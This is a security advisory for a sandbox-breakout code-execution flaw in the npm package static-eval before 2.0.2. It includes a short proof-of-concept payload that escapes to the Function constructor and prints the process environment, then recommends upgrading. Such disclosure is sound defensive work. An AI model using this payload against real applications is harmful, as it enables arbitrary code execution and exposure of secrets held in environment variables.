GHSA-x9hc-rw35-f44h
JSON

7.3high

Sandbox Breakout / Arbitrary Code Execution in static-eval

Severity
7.3high CVSS:3.1 by GitHub
Published
Last changed

Description

Versions of static-evalprior to 2.0.2 pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

Proof of concept

var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src = process.argv[2];
var payload = '(function({x}){return x.constructor})({x:"".sub})("console.log(process.env)")()'
var ast = parse(payload).body[0].expression;
console.log(evaluate(ast, {x:1}));

Recommendation

Upgrade to version 2.0.2 or later.

Affected

Product or packageVersionsReported by
static-eval (npm)before 2.0.2GitHub Advisory Database

Classification

References

Sources

SourceRecordLicence
GitHub Advisory DatabaseGHSA-x9hc-rw35-f44h changed 2021-09-27CC-BY-4.0